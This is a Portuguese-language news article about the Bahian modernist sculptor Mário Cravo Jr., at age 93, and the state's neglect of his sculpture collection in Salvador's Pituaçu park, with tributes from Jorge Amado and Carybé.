Último modernista baiano vivo, o escultor, gravador, desenhista, pintor e ex-professor, Mário Cravo Jr., 93 anos, permanece lúcido e produtivo. Sua obra, no entanto, sob abandono, está sob ameaça de ser perdida na esvaziada contemporaneidade baiana. Nas mil e uma faces da sua produção, como se diria de um verdadeiro “rei da sucata”, Cravo tem trajetória marcante pelo reaproveitamento de materiais, como as madeiras do século XIX, provenientes do incêndio que destruiu o Mercado Modelo, no final dos anos 60 – com que produziu uma “via sacra”; cerâmica, ferro e outros metais, oriundos de desmontagens do Polo Petroquímico de Camaçari, que lhe inspirariam a Fonte da Rampa do Mercado Modelo ou o Exu mola de jipe, no MAM-Museu de Arte Moderna de São Paulo, entre centenas de exemplos.
O comodato firmado com o Governo da Bahia, em 1994, quando o governante era Antônio Carlos Magalhães, já se esgotou, mas envolveu a doação de 800 peças, entre esculturas expostas no Parque Metropolitano de Pituaçu, na Orla de Salvador, em cuja entrada foi criado o Parque Mário Cravo Jr, e o que ele denomina de “computações plásticas”. Há três anos, conforme o filho do artista Ivan Ferraz Cravo, 66, “a Sema-Secretaria Estadual do Meio Ambiente, responsável pela área, deixou de efetuar qualquer manutenção nas obras ou fornecer materiais, sequer a tinta para recuperação das peças”. O Museu e sua reserva técnica, na entrada do Parque, onde permanecem as obras em papel, estão se deteriorando nas gavetas ou algumas esculturas, expostas às infiltrações, sem nenhum cuidado de conservação. Segundo o filho do artista, que já presidiu a Fundação Mário Cravo Jr., “estamos buscando desesperadamente apoios para salvar o acervo”.
Agora, segundo ele, “parece que a montanha se moveu”. Convocado por Ferraz, o Ipac-Instituto do Patrimônio Artístico e Cultural da Bahia e a Dimus-Divisão de Museus da Fundação Cultural do Estado, decidiram proceder a um levantamento do acervo do modernista. A visita inicial de técnicos contou com a participação do diretor do Palacete das Artes, Murilo Ribeiro. Embora o órgão só deva iniciar o cadastro das obras após os festejos juninos e sob a perspectiva de conclusão “até o final do ano”, já se cogita de transferir as instigantes peças – impressas e esculpidas – para ambientes climatizados no Palacete das Artes (Rua da Graça), Museu de Arte Moderna (na Ladeira da Contorno) e Museu de Arte da Bahia (Corredor da Vitória). “O trabalho demanda minúcias e será procedido com todo o critério requerido por museólogos do Ipac”, sinaliza a assessoria do órgão.
As condições de trabalho do artista também se defrontam com as demissões dos seis funcionários que, há 12 anos, finalizam as obras criadas pela mente inquieta de Mário. “A Sema rompeu contrato com a terceirizada Preze, no final de março, exclusivamente para o fornecimento do pessoal para a Oficina de Cravo. Também o servidor João Alberto, da Conder-Companhia de Desenvolvimento Urbano do Estado, precisa ser transferido para a Sema para poder permanecer cuidando da Oficina”, diz Ivan. Há dois meses e de modo informal, o escultor mantém os trabalhadores que capacitou para as atividades. Muitas das peças boiam nas águas poluídas da Lagoa de Pituaçu que já abasteceu Salvador. Outras sucumbem sob a ação do salitre, escondidas em meio à vegetação sem poda do parque metropolitano.
Mário Cravo Jr, conforme o filho, se mantém com a economia de recursos provenientes da venda de suas criações. Uma de suas esculturas monumentais foi adquirida por um dos sócios da Ambev, cujo nome não recorda. Uma réplica em fibra de vidro de “Antonio Conselheiro”, permanece em meio a outras para restauração e ferramentas como tornos e soldas na Oficina. “O original está em Canudos”, enfatiza Cravo. Boa parte de sua produção dialoga com a cidade. A Sereia, em Itapuã; O Exu Mensageiro, em frente à sede central dos Correios, na Pituba; a homenagem a Clériston Andrade (na Avenida Anita Garibaldi)   e a Cruz Caída, na Praça da Sé, que toma emprestado o nome do episódio da via crucis para proceder uma crítica à derrubada da Igreja de São Pedro, demolida em 1915 pelo governador José Joaquim Seabra em sua sanha higienista da cidade e no afã de criar novas avenidas na primeira capital do País.
Frente a uma peça em fase conclusão – material procedente de equipamento para contração de temperatura para óleo – o artista decidiu dar nome ao trabalho. “Vai se chamar ‘dinâmica espacial’, batizou. Para Mário Cravo Jr., “não existe trabalho, mas diversão”. Ele reclama da “dificuldade para chegar até o Governador Rui Costa”. Sua última exposição “Esculturas” aconteceu durante o governo Jaques Wagner, em 2013 no Palacete das Artes – museu mais qualificado para absorver a extensa produção do artista.
 
A0s 93 anos, Mário Cravo permanece lúcido e produtivo

O que disseram dele Jorge Amado e Carybé

Sobre ele, Jorge Amado afiaria o teclado da velha máquina datilográfica para cravar a legenda: “Ferreiro coberto de fogo e aço, comido goiva e aço, os bigodes arrogantes, devasso, quase agressivos, os olhos de insônia, a boca em gargalhada, eis o guerreiro Mário Cravo em luta com o ferro bruto, a madeira pesada ilustre, a pedra morta, para sempre morta, mas de repente viva em sua mão, em seu talho, em sua forja, em seu destino deslumbrado e louco, em seu criar sem descanso (…)”. 
Carybé revelaria que “…a Bahia deve a Mário Cravo a recuperação do Solar do Unhão e a instalação nele dos museus de arte moderna e de arte popular. Foi por insistência dele que a arquiteta Lina Bo Bardi desistiu da construção de um prédio específico e tratou da restauração do Solar”. No refinado catálogo produzido para a sua última mostra o então secretário de cultura, Albino Rubim, salienta o quanto “o modernismo demorou a aparecer na Bahia. Terra de profundas e fundadas tradições, a Bahia resistiu longo tempo à modernidade cultural”. 
Lembra, ainda, que “a primeira geração, nos anos 20, inventou o modernismo no Brasil. A segunda, na década de 30, consolidou o modernismo através do regionalismo e da ampliação do seu público. Orgulhosa de sua cultura, a Bahia se mantinha contrária à modernidade. Só no final dos anos 40 o modernismo vai acontecer na Bahia. Mário Cravo, Carlos Bastos e Genaro de Carvalho são protagonistas desta mudança. A obra dele está disseminada nas ruas e prédios de Salvador e de outras cidades. Encontra acolhida em relevantes museus no Brasil e no mundo”. 
Espera-se que este emblemático modernista permaneça vivo para assistir senão à criação de um museu para sua obra, que ao menos possa ver confirmado o resgate das peças sob a ameaça de um injustificado abandono em Pituaçu, no coração da Orla.

Entradas Mais Antigas Anteriores